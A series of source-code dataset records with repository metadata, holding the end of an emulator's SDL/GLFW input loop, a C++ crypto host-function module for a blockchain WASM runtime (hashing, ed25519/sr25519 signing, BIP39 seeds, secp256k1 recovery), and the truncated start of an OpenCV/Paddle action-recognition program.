exit(EXIT_FAILURE);\n    }\n    glfwMakeContextCurrent(window);\n    glfwSwapInterval(1);\n    glfwSetKeyCallback(window, key_callback);\n#endif\n    init();\n    setup();\n    int frame = 0;\n#ifdef SDL2LIB\n    while (true)\n#else\n    while (!glfwWindowShouldClose(window))\n#endif\n    {\n        loop();\n        frame++;\n#ifdef SDL2LIB\n        SDL_Event sdlevent;\n        while (SDL_PollEvent(&sdlevent))\n        {\n            if (sdlevent.type == SDL_QUIT)\n            {\n                SDL_Quit();\n                exit(EXIT_SUCCESS);\n            }\n            else if (sdlevent.type == SDL_KEYDOWN)\n            {\n                if ((sdlevent.key.keysym.sym == SDLK_UP) || (sdlevent.key.keysym.sym == SDLK_KP_8))\n                {\n                    controls |= KEYBIT_UP;\n                }\n                else if ((sdlevent.key.keysym.sym == SDLK_LEFT) || (sdlevent.key.keysym.sym == SDLK_KP_4))\n                {\n                    controls |= KEYBIT_LEFT;\n                }\n                else if ((sdlevent.key.keysym.sym == SDLK_DOWN) || (sdlevent.key.keysym.sym == SDLK_KP_2))\n                {\n                    controls |= KEYBIT_DOWN;\n                }\n                else if ((sdlevent.key.keysym.sym == SDLK_RIGHT) || (sdlevent.key.keysym.sym == SDLK_KP_6))\n                {\n                    controls |= KEYBIT_RIGHT;\n                }\n                else if (sdlevent.key.keysym.sym == SDLK_g)\n                {\n                    controls |= KEYBIT_BUTTON1;\n                }\n                else if (sdlevent.key.keysym.sym == SDLK_h)\n                {\n                    controls |= KEYBIT_BUTTON2;\n                }\n                else if (sdlevent.key.keysym.sym == SDLK_ESCAPE)\n                {\n                    SDL_Quit();\n                    exit(EXIT_SUCCESS);\n                }\n            }\n            else if (sdlevent.type == SDL_KEYUP)\n            {\n                if ((sdlevent.key.keysym.sym == SDLK_UP) || (sdlevent.key.keysym.sym == SDLK_KP_8))\n                {\n                    controls &= ~KEYBIT_UP;\n                }\n                else if ((sdlevent.key.keysym.sym == SDLK_LEFT) || (sdlevent.key.keysym.sym == SDLK_KP_4))\n                {\n                    controls &= ~KEYBIT_LEFT;\n                }\n                else if ((sdlevent.key.keysym.sym == SDLK_DOWN) || (sdlevent.key.keysym.sym == SDLK_KP_2))\n                {\n                    controls &= ~KEYBIT_DOWN;\n                }\n                else if ((sdlevent.key.keysym.sym == SDLK_RIGHT) || (sdlevent.key.keysym.sym == SDLK_KP_6))\n                {\n                    controls &= ~KEYBIT_RIGHT;\n                }\n                else if (sdlevent.key.keysym.sym == SDLK_g)\n                {\n                    controls &= ~KEYBIT_BUTTON1;\n                }\n                else if (sdlevent.key.keysym.sym == SDLK_h)\n                {\n                    controls &= ~KEYBIT_BUTTON2;\n                }\n            }\n        }\n#endif\n/*        if ((emulator.isRecordingTSV) && ((emulator.is16bit) || (frame % 2))) {\n            writeFrameBufferToTSV();\n        }*/\n    }\n    if (emulator.tsvFP) {\n        fclose(emulator.tsvFP);\n        emulator.tsvFP = 0;\n    }\n#ifdef SDL2LIB\n    SDL_Quit();\n#else\n    glfwDestroyWindow(window);\n    glfwTerminate();\n#endif\n    exit(EXIT_SUCCESS);\n}\n", "meta": {"hexsha": "ae3a25b4598f61b45c3cdf2e4963d6277b98897f", "size": 24988, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/Main.cpp", "max_stars_repo_name": "dulsi/tinyscreensim", "max_stars_repo_head_hexsha": "72c1370b06d42e8f79d029dcc1763603b23b7b9e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2.0, "max_stars_repo_stars_event_min_datetime": "2018-03-04T14:46:02.000Z", "max_stars_repo_stars_event_max_datetime": "2020-12-07T20:45:22.000Z", "max_issues_repo_path": "src/Main.cpp", "max_issues_repo_name": "dulsi/tinyscreensim", "max_issues_repo_head_hexsha": "72c1370b06d42e8f79d029dcc1763603b23b7b9e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1.0, "max_issues_repo_issues_event_min_datetime": "2018-06-30T20:37:42.000Z", "max_issues_repo_issues_event_max_datetime": "2018-07-15T22:09:02.000Z", "max_forks_repo_path": "src/Main.cpp", "max_forks_repo_name": "dulsi/tinyscreensim", "max_forks_repo_head_hexsha": "72c1370b06d42e8f79d029dcc1763603b23b7b9e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.313283208, "max_line_length": 162, "alphanum_fraction": 0.5756363054, "num_tokens": 7328, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.2751297238231752, "lm_q1q2_score": 0.13971413797326923}}
{"text": "\n#include \"extensions/impl/crypto_extension.hpp\"\n\n#include <algorithm>\n#include <exception>\n#include <gsl/span>\n\n#include <boost/assert.hpp>\n#include \"crypto/bip39/bip39_provider.hpp\"\n#include \"crypto/bip39/mnemonic.hpp\"\n#include \"crypto/crypto_store.hpp\"\n#include \"crypto/crypto_store/key_type.hpp\"\n#include \"crypto/ed25519_provider.hpp\"\n#include \"crypto/hasher.hpp\"\n#include \"crypto/secp256k1/secp256k1_provider_impl.hpp\"\n#include \"crypto/sr25519_provider.hpp\"\n#include \"runtime/wasm_result.hpp\"\n#include \"scale/scale.hpp\"\n\nnamespace sgns::extensions {\n  namespace sr25519_constants = crypto::constants::sr25519;\n  namespace ed25519_constants = crypto::constants::ed25519;\n  namespace ecdsa = crypto::secp256k1;\n\n  using crypto::decodeKeyTypeId;\n  using crypto::Secp256k1ProviderError;\n  using crypto::secp256k1::CompressedPublicKey;\n  using crypto::secp256k1::EcdsaVerifyError;\n  using crypto::secp256k1::MessageHash;\n  using crypto::secp256k1::RSVSignature;\n  using crypto::secp256k1::UncompressedPublicKey;\n\n  CryptoExtension::CryptoExtension(\n      std::shared_ptr<runtime::WasmMemory> memory,\n      std::shared_ptr<crypto::SR25519Provider> sr25519_provider,\n      std::shared_ptr<crypto::ED25519Provider> ed25519_provider,\n      std::shared_ptr<crypto::Secp256k1Provider> secp256k1_provider,\n      std::shared_ptr<crypto::Hasher> hasher,\n      std::shared_ptr<crypto::CryptoStore> crypto_store,\n      std::shared_ptr<crypto::Bip39Provider> bip39_provider)\n      : memory_(std::move(memory)),\n        sr25519_provider_(std::move(sr25519_provider)),\n        ed25519_provider_(std::move(ed25519_provider)),\n        secp256k1_provider_(std::move(secp256k1_provider)),\n        hasher_(std::move(hasher)),\n        crypto_store_(std::move(crypto_store)),\n        bip39_provider_(std::move(bip39_provider)),\n        logger_{base::createLogger(\"CryptoExtension\")} {\n    BOOST_ASSERT(memory_ != nullptr);\n    BOOST_ASSERT(sr25519_provider_ != nullptr);\n    BOOST_ASSERT(ed25519_provider_ != nullptr);\n    BOOST_ASSERT(secp256k1_provider_ != nullptr);\n    BOOST_ASSERT(hasher_ != nullptr);\n    BOOST_ASSERT(crypto_store_ != nullptr);\n    BOOST_ASSERT(bip39_provider_ != nullptr);\n    BOOST_ASSERT(logger_ != nullptr);\n  }\n\n  void CryptoExtension::ext_blake2_128(runtime::WasmPointer data,\n                                       runtime::WasmSize len,\n                                       runtime::WasmPointer out_ptr) {\n    const auto &buf = memory_->loadN(data, len);\n\n    auto hash = hasher_->blake2b_128(buf);\n\n    memory_->storeBuffer(out_ptr, hash);\n  }\n\n  void CryptoExtension::ext_blake2_256(runtime::WasmPointer data,\n                                       runtime::WasmSize len,\n                                       runtime::WasmPointer out_ptr) {\n    const auto &buf = memory_->loadN(data, len);\n\n    auto hash = hasher_->blake2b_256(buf);\n\n    memory_->storeBuffer(out_ptr, hash);\n  }\n\n  void CryptoExtension::ext_keccak_256(runtime::WasmPointer data,\n                                       runtime::WasmSize len,\n                                       runtime::WasmPointer out_ptr) {\n    const auto &buf = memory_->loadN(data, len);\n\n    auto hash = hasher_->keccak_256(buf);\n\n    memory_->storeBuffer(out_ptr, hash);\n  }\n\n  runtime::WasmSize CryptoExtension::ext_ed25519_verify(\n      runtime::WasmPointer msg_data,\n      runtime::WasmSize msg_len,\n      runtime::WasmPointer sig_data,\n      runtime::WasmPointer pubkey_data) {\n    // for some reason, 0 and 5 are used in the reference implementation, so\n    // it's better to stick to them in ours, at least for now\n    static constexpr uint32_t kVerifySuccess = 0;\n    static constexpr uint32_t kVerifyFail = 5;\n\n    auto msg = memory_->loadN(msg_data, msg_len);\n    auto sig_bytes =\n        memory_->loadN(sig_data, ed25519_constants::SIGNATURE_SIZE).toVector();\n\n    auto signature_res = crypto::ED25519Signature::fromSpan(sig_bytes);\n    if (!signature_res) {\n      BOOST_UNREACHABLE_RETURN(kVerifyFail);\n    }\n    auto &&signature = signature_res.value();\n\n    auto pubkey_bytes =\n        memory_->loadN(pubkey_data, ed25519_constants::PUBKEY_SIZE).toVector();\n    auto pubkey_res = crypto::ED25519PublicKey::fromSpan(pubkey_bytes);\n    if (!pubkey_res) {\n      BOOST_UNREACHABLE_RETURN(kVerifyFail);\n    }\n    auto pubkey = pubkey_res.value();\n\n    auto result = ed25519_provider_->verify(signature, msg, pubkey);\n    auto is_succeeded = result && result.value();\n\n    return is_succeeded ? kVerifySuccess : kVerifyFail;\n  }\n\n  runtime::WasmSize CryptoExtension::ext_sr25519_verify(\n      runtime::WasmPointer msg_data,\n      runtime::WasmSize msg_len,\n      runtime::WasmPointer sig_data,\n      runtime::WasmPointer pubkey_data) {\n    // for some reason, 0 and 5 are used in the reference implementation, so\n    // it's better to stick to them in ours, at least for now\n    static constexpr uint32_t kVerifySuccess = 0;\n    static constexpr uint32_t kVerifyFail = 5;\n\n    auto msg = memory_->loadN(msg_data, msg_len);\n    auto signature_buffer =\n        memory_->loadN(sig_data, sr25519_constants::SIGNATURE_SIZE);\n\n    auto pubkey_buffer =\n        memory_->loadN(pubkey_data, sr25519_constants::PUBLIC_SIZE);\n    auto key_res = crypto::SR25519PublicKey::fromSpan(pubkey_buffer);\n    if (!key_res) {\n      BOOST_UNREACHABLE_RETURN(kVerifyFail);\n    }\n    auto &&key = key_res.value();\n\n    crypto::SR25519Signature signature{};\n    std::copy_n(signature_buffer.begin(),\n                sr25519_constants::SIGNATURE_SIZE,\n                signature.begin());\n\n    auto res = sr25519_provider_->verify(signature, msg, key);\n    bool is_succeeded = res && res.value();\n\n    return is_succeeded ? kVerifySuccess : kVerifyFail;\n  }\n\n  void CryptoExtension::ext_twox_64(runtime::WasmPointer data,\n                                    runtime::WasmSize len,\n                                    runtime::WasmPointer out_ptr) {\n    const auto &buf = memory_->loadN(data, len);\n\n    auto hash = hasher_->twox_64(buf);\n    logger_->trace(\"twox64. Data: {}, Data hex: {}, hash: {}\",\n                   buf.data(),\n                   buf.toHex(),\n                   hash.toHex());\n\n    memory_->storeBuffer(out_ptr, hash);\n  }\n\n  void CryptoExtension::ext_twox_128(runtime::WasmPointer data,\n                                     runtime::WasmSize len,\n                                     runtime::WasmPointer out_ptr) {\n    const auto &buf = memory_->loadN(data, len);\n\n    auto hash = hasher_->twox_128(buf);\n    logger_->trace(\"twox128. Data: {}, Data hex: {}, hash: {}\",\n                   buf.data(),\n                   buf.toHex(),\n                   hash.toHex());\n\n    memory_->storeBuffer(out_ptr, base::Buffer(hash));\n  }\n\n  void CryptoExtension::ext_twox_256(runtime::WasmPointer data,\n                                     runtime::WasmSize len,\n                                     runtime::WasmPointer out_ptr) {\n    const auto &buf = memory_->loadN(data, len);\n\n    auto hash = hasher_->twox_256(buf);\n\n    memory_->storeBuffer(out_ptr, hash);\n  }\n\n  // ---------------------- runtime api version 1 methods ----------------------\n\n  runtime::WasmPointer CryptoExtension::ext_hashing_keccak_256_version_1(\n      runtime::WasmSpan data) {\n    auto [ptr, size] = runtime::WasmResult(data);\n    const auto &buf = memory_->loadN(ptr, size);\n    auto hash = hasher_->keccak_256(buf);\n\n    return memory_->storeBuffer(hash);\n  }\n\n  runtime::WasmPointer CryptoExtension::ext_hashing_sha2_256_version_1(\n      runtime::WasmSpan data) {\n    auto [ptr, size] = runtime::WasmResult(data);\n    const auto &buf = memory_->loadN(ptr, size);\n    auto hash = hasher_->sha2_256(buf);\n\n    return memory_->storeBuffer(hash);\n  }\n\n  runtime::WasmPointer CryptoExtension::ext_hashing_blake2_128_version_1(\n      runtime::WasmSpan data) {\n    auto [ptr, size] = runtime::WasmResult(data);\n    const auto &buf = memory_->loadN(ptr, size);\n    auto hash = hasher_->blake2b_128(buf);\n\n    return memory_->storeBuffer(hash);\n  }\n\n  runtime::WasmPointer CryptoExtension::ext_hashing_blake2_256_version_1(\n      runtime::WasmSpan data) {\n    auto [ptr, size] = runtime::WasmResult(data);\n    const auto &buf = memory_->loadN(ptr, size);\n    auto hash = hasher_->blake2b_256(buf);\n\n    return memory_->storeBuffer(hash);\n  }\n\n  runtime::WasmPointer CryptoExtension::ext_hashing_twox_64_version_1(\n      runtime::WasmSpan data) {\n    auto [ptr, size] = runtime::WasmResult(data);\n    const auto &buf = memory_->loadN(ptr, size);\n    auto hash = hasher_->twox_64(buf);\n\n    return memory_->storeBuffer(hash);\n  }\n\n  runtime::WasmPointer CryptoExtension::ext_hashing_twox_128_version_1(\n      runtime::WasmSpan data) {\n    auto [ptr, size] = runtime::WasmResult(data);\n    const auto &buf = memory_->loadN(ptr, size);\n    auto hash = hasher_->twox_128(buf);\n\n    return memory_->storeBuffer(hash);\n  }\n\n  runtime::WasmPointer CryptoExtension::ext_hashing_twox_256_version_1(\n      runtime::WasmSpan data) {\n    auto [ptr, size] = runtime::WasmResult(data);\n    const auto &buf = memory_->loadN(ptr, size);\n    auto hash = hasher_->twox_256(buf);\n\n    return memory_->storeBuffer(hash);\n  }\n\n  runtime::WasmSpan CryptoExtension::ext_ed25519_public_keys_v1(\n      runtime::WasmSize key_type) {\n    using ResultType = std::vector<crypto::ED25519PublicKey>;\n    static const auto error_result(scale::encode(ResultType{}).value());\n\n    auto key_type_id = static_cast<crypto::KeyTypeId>(key_type);\n    if (!crypto::isSupportedKeyType(key_type_id)) {\n      auto kt = crypto::decodeKeyTypeId(key_type_id);\n      logger_->warn(\"key type '{}' is not officially supported \", kt);\n    }\n\n    auto public_keys = crypto_store_->getEd25519PublicKeys(key_type_id);\n    auto buffer = scale::encode(public_keys).value();\n\n    return memory_->storeBuffer(buffer);\n  }\n\n  base::Blob<32> CryptoExtension::deriveSeed(std::string_view content) {\n    // first check if content is a hexified seed value\n    if (auto res = base::Blob<32>::fromHexWithPrefix(content); res) {\n      return res.value();\n    }\n\n    logger_->debug(\"failed to unhex seed, try parse mnemonic\");\n\n    // now check if it is a bip39 mnemonic phrase with optional password\n    auto mnemonic = crypto::bip39::Mnemonic::parse(content);\n    if (!mnemonic) {\n      logger_->error(\"failed to parse mnemonic {}\", mnemonic.error().message());\n      std::terminate();\n    }\n\n    auto &&entropy = bip39_provider_->calculateEntropy(mnemonic.value().words);\n    if (!entropy) {\n      logger_->error(\"failed to calculate entropy {}\",\n                     entropy.error().message());\n      std::terminate();\n    }\n\n    auto &&big_seed =\n        bip39_provider_->makeSeed(entropy.value(), mnemonic.value().password);\n    if (!big_seed) {\n      logger_->error(\"failed to generate seed {}\", big_seed.error().message());\n      std::terminate();\n    }\n\n    auto big_span = gsl::span<uint8_t>(big_seed.value());\n    constexpr size_t size = base::Blob<32>::size();\n    // get first 32 bytes from big seed as ed25519 or sr25519 seed\n    auto seed = base::Blob<32>::fromSpan(big_span.subspan(0, size));\n    if (!seed) {\n      // impossible case bip39 seed is always 64 bytes long\n      BOOST_UNREACHABLE_RETURN({});\n    }\n    return seed.value();\n  }\n\n  /**\n   *@see Extension::ext_ed25519_generate\n   */\n  runtime::WasmPointer CryptoExtension::ext_ed25519_generate_v1(\n      runtime::WasmSize key_type, runtime::WasmSpan seed) {\n    auto key_type_id = static_cast<crypto::KeyTypeId>(key_type);\n    if (!crypto::isSupportedKeyType(key_type_id)) {\n      auto kt = crypto::decodeKeyTypeId(key_type_id);\n      logger_->warn(\"key type '{}' is not officially supported\", kt);\n    }\n\n    auto [seed_ptr, seed_len] = runtime::WasmResult(seed);\n    auto seed_buffer = memory_->loadN(seed_ptr, seed_len);\n    auto seed_res = scale::decode<boost::optional<std::string>>(seed_buffer);\n    if (!seed_res) {\n      logger_->error(\"failed to decode seed\");\n      std::terminate();\n    }\n\n    crypto::ED25519Keypair kp{};\n    boost::optional<std::string> bip39_seed = seed_res.value();\n    if (bip39_seed.has_value()) {\n      auto ed_seed = deriveSeed(*bip39_seed);\n      kp = ed25519_provider_->generateKeypair(ed_seed);\n    } else {\n      auto key_pair = ed25519_provider_->generateKeypair();\n      if (!key_pair) {\n        logger_->error(\"failed to generate ed25519 key pair: {}\",\n                       key_pair.error().message());\n        std::terminate();\n      }\n      kp = key_pair.value();\n    }\n\n    runtime::WasmSpan ps = memory_->storeBuffer(kp.public_key);\n\n    return runtime::WasmResult(ps).address;\n  }\n\n  /**\n   * @see Extension::ed25519_sign\n   */\n  runtime::WasmSpan CryptoExtension::ext_ed25519_sign_v1(\n      runtime::WasmSize key_type,\n      runtime::WasmPointer key,\n      runtime::WasmSpan msg) {\n    using ResultType = boost::optional<crypto::ED25519Signature>;\n\n    auto key_type_id = static_cast<crypto::KeyTypeId>(key_type);\n    if (!crypto::isSupportedKeyType(key_type_id)) {\n      logger_->warn(\"key type '{}' is not supported\",\n                    decodeKeyTypeId(key_type_id));\n    }\n\n    auto public_buffer = memory_->loadN(key, crypto::ED25519PublicKey::size());\n    auto [msg_data, msg_len] = runtime::WasmResult(msg);\n    auto msg_buffer = memory_->loadN(msg_data, msg_len);\n    auto pk = crypto::ED25519PublicKey::fromSpan(public_buffer);\n    if (!pk) {\n      BOOST_UNREACHABLE_RETURN({});\n    }\n    auto key_pair = crypto_store_->findEd25519Keypair(key_type_id, pk.value());\n    if (!key_pair) {\n      logger_->error(\"failed to find required key\");\n      auto error_result = scale::encode(ResultType(boost::none)).value();\n      return memory_->storeBuffer(error_result);\n    }\n\n    auto sign = ed25519_provider_->sign(key_pair.value(), msg_buffer);\n    if (!sign) {\n      logger_->error(\"failed to sign message, error = {}\",\n                     sign.error().message());\n      std::terminate();\n    }\n\n    auto buffer = scale::encode(ResultType(sign.value())).value();\n    return memory_->storeBuffer(buffer);\n  }\n\n  /**\n   * @see Extension::ext_ed25519_verify\n   */\n  runtime::WasmSize CryptoExtension::ext_ed25519_verify_v1(\n      runtime::WasmPointer sig,\n      runtime::WasmSpan msg,\n      runtime::WasmPointer pubkey_data) {\n    auto [msg_data, msg_len] = runtime::WasmResult(msg);\n    return ext_ed25519_verify(msg_data, msg_len, sig, pubkey_data);\n  }\n\n  /**\n   * @see Extension::ext_sr25519_public_keys\n   */\n  runtime::WasmSpan CryptoExtension::ext_sr25519_public_keys_v1(\n      runtime::WasmSize key_type) {\n    using ResultType = std::vector<crypto::SR25519PublicKey>;\n    static const auto error_result(scale::encode(ResultType{}).value());\n\n    auto key_type_id = static_cast<crypto::KeyTypeId>(key_type);\n    if (!crypto::isSupportedKeyType(key_type_id)) {\n      logger_->warn(\"key type '{}' is not officially supported\",\n                    crypto::decodeKeyTypeId(key_type_id));\n    }\n    auto public_keys = crypto_store_->getSr25519PublicKeys(key_type_id);\n    auto buffer = scale::encode(public_keys).value();\n\n    return memory_->storeBuffer(buffer);\n  }\n\n  /**\n   *@see Extension::ext_sr25519_generate\n   */\n  runtime::WasmPointer CryptoExtension::ext_sr25519_generate_v1(\n      runtime::WasmSize key_type, runtime::WasmSpan seed) {\n    auto key_type_id = static_cast<crypto::KeyTypeId>(key_type);\n    if (!crypto::isSupportedKeyType(key_type_id)) {\n      auto kt = crypto::decodeKeyTypeId(key_type_id);\n      logger_->warn(\"key type '{}' is not officially supported\", kt);\n    }\n\n    auto [seed_ptr, seed_len] = runtime::WasmResult(seed);\n    auto seed_buffer = memory_->loadN(seed_ptr, seed_len);\n    auto seed_res = scale::decode<boost::optional<std::string>>(seed_buffer);\n    if (!seed_res) {\n      logger_->error(\"failed to decode seed\");\n      std::terminate();\n    }\n\n    crypto::SR25519Keypair kp{};\n    auto bip39_seed = seed_res.value();\n    if (bip39_seed.has_value()) {\n      auto sr_seed = deriveSeed(*bip39_seed);\n      kp = sr25519_provider_->generateKeypair(sr_seed);\n    } else {\n      kp = sr25519_provider_->generateKeypair();\n    }\n\n    base::Buffer buffer(kp.public_key);\n    runtime::WasmSpan ps = memory_->storeBuffer(buffer);\n\n    return runtime::WasmResult(ps).address;\n  }\n\n  /**\n   * @see Extension::sr25519_sign\n   */\n  runtime::WasmSpan CryptoExtension::ext_sr25519_sign_v1(\n      runtime::WasmSize key_type,\n      runtime::WasmPointer key,\n      runtime::WasmSpan msg) {\n    using ResultType = boost::optional<crypto::SR25519Signature>;\n    static const auto error_result =\n        scale::encode(ResultType(boost::none)).value();\n\n    auto key_type_id = static_cast<crypto::KeyTypeId>(key_type);\n    if (!crypto::isSupportedKeyType(key_type_id)) {\n      auto kt = crypto::decodeKeyTypeId(key_type_id);\n      logger_->warn(\"key type '{}' is not officially supported\", kt);\n    }\n\n    auto public_buffer = memory_->loadN(key, crypto::SR25519PublicKey::size());\n    auto [msg_data, msg_len] = runtime::WasmResult(msg);\n    auto msg_buffer = memory_->loadN(msg_data, msg_len);\n    auto pk = crypto::SR25519PublicKey::fromSpan(public_buffer);\n    if (!pk) {\n      // error is not possible, since we loaded correct number of bytes\n      BOOST_UNREACHABLE_RETURN({});\n    }\n    auto key_pair = crypto_store_->findSr25519Keypair(key_type_id, pk.value());\n    if (!key_pair) {\n      logger_->error(\"failed to find required key: {}\",\n                     key_pair.error().message());\n      return memory_->storeBuffer(error_result);\n    }\n\n    auto sign = sr25519_provider_->sign(key_pair.value(), msg_buffer);\n    if (!sign) {\n      logger_->error(\"failed to sign message, error = {}\",\n                     sign.error().message());\n      std::terminate();\n    }\n    auto buffer = scale::encode(ResultType(sign.value())).value();\n    return memory_->storeBuffer(buffer);\n  }\n\n  /**\n   * @see Extension::ext_sr25519_verify\n   */\n  runtime::WasmSize CryptoExtension::ext_sr25519_verify_v1(\n      runtime::WasmPointer sig,\n      runtime::WasmSpan msg,\n      runtime::WasmPointer pubkey_data) {\n    auto [msg_data, msg_len] = runtime::WasmResult(msg);\n    return ext_sr25519_verify(msg_data, msg_len, sig, pubkey_data);\n  }\n\n  namespace {\n    template <typename T>\n    using failure_type =\n        decltype(outcome::result<std::decay_t<T>>(T{}).as_failure());\n    /**\n     * @brief converts outcome::failure_type to EcdsaVerifyError error code\n     * @param failure outcome::result containing error\n     * @return error code\n     */\n    template <class T>\n    EcdsaVerifyError convertFailureToError(const failure_type<T> &failure) {\n      const outcome::result<void> res = failure;\n      if (res == outcome::failure(Secp256k1ProviderError::INVALID_V_VALUE)) {\n        return ecdsa::ecdsa_verify_error::kInvalidV;\n      }\n      if (res\n          == outcome::failure(Secp256k1ProviderError::INVALID_R_OR_S_VALUE)) {\n        return ecdsa::ecdsa_verify_error::kInvalidRS;\n      }\n\n      return ecdsa::ecdsa_verify_error::kInvalidSignature;\n    }\n  }  // namespace\n\n  runtime::WasmSpan CryptoExtension::ext_crypto_secp256k1_ecdsa_recover_v1(\n      runtime::WasmPointer sig, runtime::WasmPointer msg) {\n    using ResultType = boost::variant<ecdsa::PublicKey, EcdsaVerifyError>;\n\n    constexpr auto signature_size = RSVSignature::size();\n    constexpr auto message_size = MessageHash::size();\n\n    auto sig_buffer = memory_->loadN(sig, signature_size);\n    auto msg_buffer = memory_->loadN(msg, message_size);\n\n    auto signature = RSVSignature::fromSpan(sig_buffer).value();\n    auto message = MessageHash::fromSpan(msg_buffer).value();\n\n    auto public_key =\n        secp256k1_provider_->recoverPublickeyUncompressed(signature, message);\n    if (!public_key) {\n      logger_->error(\"failed to recover uncompressed secp256k1 public key: {}\",\n                     public_key.error().message());\n\n      auto error_code =\n          convertFailureToError<UncompressedPublicKey>(public_key.as_failure());\n      auto error_result =\n          scale::encode(static_cast<ResultType>(error_code)).value();\n\n      return memory_->storeBuffer(error_result);\n    }\n\n    // according to substrate implementation\n    // returned key shouldn't include the 0x04 prefix\n    // specification says, that it should have 64 bytes, not 65 as with prefix\n    // On success it contains the 64-byte recovered public key or an error type\n    auto truncated_span = gsl::span<uint8_t>(public_key.value()).subspan(1, 64);\n    auto truncated_public_key =\n        ecdsa::PublicKey::fromSpan(truncated_span).value();\n    auto buffer = scale::encode(ResultType(truncated_public_key)).value();\n    return memory_->storeBuffer(buffer);\n  }\n\n  runtime::WasmSpan\n  CryptoExtension::ext_crypto_secp256k1_ecdsa_recover_compressed_v1(\n      runtime::WasmPointer sig, runtime::WasmPointer msg) {\n    using ResultType = boost::variant<CompressedPublicKey, EcdsaVerifyError>;\n\n    constexpr auto signature_size = RSVSignature::size();\n    constexpr auto message_size = MessageHash::size();\n\n    auto sig_buffer = memory_->loadN(sig, signature_size);\n    auto msg_buffer = memory_->loadN(msg, message_size);\n\n    auto signature = RSVSignature::fromSpan(sig_buffer).value();\n    auto message = MessageHash::fromSpan(msg_buffer).value();\n\n    auto public_key =\n        secp256k1_provider_->recoverPublickeyCompressed(signature, message);\n    if (!public_key) {\n      logger_->error(\"failed to recover uncompressed secp256k1 public key: {}\",\n                     public_key.error().message());\n\n      auto error_code =\n          convertFailureToError<CompressedPublicKey>(public_key.as_failure());\n      auto error_result =\n          scale::encode(static_cast<ResultType>(error_code)).value();\n      return memory_->storeBuffer(error_result);\n    }\n\n    auto buffer = scale::encode(ResultType(public_key.value())).value();\n    return memory_->storeBuffer(buffer);\n  }\n}  // namespace sgns::extensions\n", "meta": {"hexsha": "48f4f7c04f69faa0cc8c032f1c24a3ae417a555b", "size": 21870, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/extensions/impl/crypto_extension.cpp", "max_stars_repo_name": "GeniusVentures/SuperGenius", "max_stars_repo_head_hexsha": "ae43304f4a2475498ef56c971296175acb88d0ee", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2021-07-10T21:25:03.000Z", "max_stars_repo_stars_event_max_datetime": "2021-07-10T21:25:03.000Z", "max_issues_repo_path": "src/extensions/impl/crypto_extension.cpp", "max_issues_repo_name": "GeniusVentures/SuperGenius", "max_issues_repo_head_hexsha": "ae43304f4a2475498ef56c971296175acb88d0ee", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/extensions/impl/crypto_extension.cpp", "max_forks_repo_name": "GeniusVentures/SuperGenius", "max_forks_repo_head_hexsha": "ae43304f4a2475498ef56c971296175acb88d0ee", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.1487603306, "max_line_length": 80, "alphanum_fraction": 0.6691358025, "num_tokens": 5392, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5428632831725053, "lm_q2_score": 0.256832002764217, "lm_q1q2_score": 0.13942466424435282}}
{"text": "#include \"instance.hpp\"\n#include \"multimodal_act.hpp\"\n#include \"paddle/include/paddle_inference_api.h\"\n#include <Eigen/Dense>\n#include <algorithm>\n#include <chrono>\n#include <cmath>\n#include <ctime>\n#include <deque>\n#include <fstream>\n#include <gflags/gflags.h>\n#include <glog/logging.h>\n#include <iostream>\n#include <mutex>\n#include <numeric>\n#include <opencv2/core.hpp>\n#include <opencv2/core/eigen.hpp>\n#include <opencv2/highgui.hpp>\n#include <opencv2/imgproc.hpp>\n#include <opencv2/video.hpp>\n#include <opencv2/videoio.hpp>\n#include <random>\n#include <set>\n#include <sstream>\n\n#ifdef SERVER_MODE\n#include \"proactive_greeting.grpc.pb.h\"\n#include <atomic>\n#include <boost/filesystem.hpp>\n#include <boost/lockfree/spsc_queue.hpp>\n#include <grpcpp/grpcpp.h>\n#include <thread>\n#endif\n\ntypedef Eigen::Matrix<float, Eigen::Dynamic, Eigen::Dynamic, Eigen::RowMajor>\n    RowMajorMatrixXf;\ntypedef Eigen::Matrix<int, Eigen::Dynamic, Eigen::Dynamic, Eigen::RowMajor>\n    RowMajorMatrixXi;\ntypedef Eigen::Matrix<int64_t, Eigen::Dynamic, 1> VectorXi64;\ntypedef std::vector<std::vector<size_t>> LoD;\ntypedef std::vector<Instance> FrameInstances;\n\nconst double PI = 3.141592653589793;\nconst int NUM_ACT = 317;\nconst int IMG_RESIZE = 416;\nconst int VIEW_H = 360; // 720 / 2\nconst int VIEW_W = 640; // 1280 / 2\nconst int OB_WINDOW_LEN = 10;\nconst int ROI_FEAT_RESOLUTION = 5;\nconst int TOKENS_PER_FRAME = 20;\nconst int FM_SCALE = 32;\nconst int ROI_FEAT_DIM = 512;\nconst int VISUAL_TOKEN_DIM = 562;\nconst int PRED_DIM = 6;\nconst int INTERESTED_CALSS[] = {0, 24, 26, 28, 27, 67};\nconst int SAFE_ACTS[] = {1, 3, 4, 5, 6, 7, 8, 10};\n\n#ifdef SERVER_MODE\nconst int Q_SIZE = 100;\n\nstruct Request {\n  int id;\n  cv::Mat ob;\n  std::string wakeup;\n};\n\nstruct Log {\n  int id;\n  float confidence;\n  std::vector<cv::Mat> obs;\n  std::vector<FrameInstances> frameInstArray;\n  Eigen::VectorXf objPred;\n  Eigen::VectorXf actPred;\n  std::string jsonStr;\n};\n\nstruct Response {\n  int id;\n  std::string jsonStr;\n  bool lagSensitive;\n};\n\nboost::lockfree::spsc_queue<Request> requestQ(Q_SIZE);\nboost::lockfree::spsc_queue<Response> ctrlQ(Q_SIZE);\nboost::lockfree::spsc_queue<Log> logQ(Q_SIZE * 5);\nstd::atomic<bool> 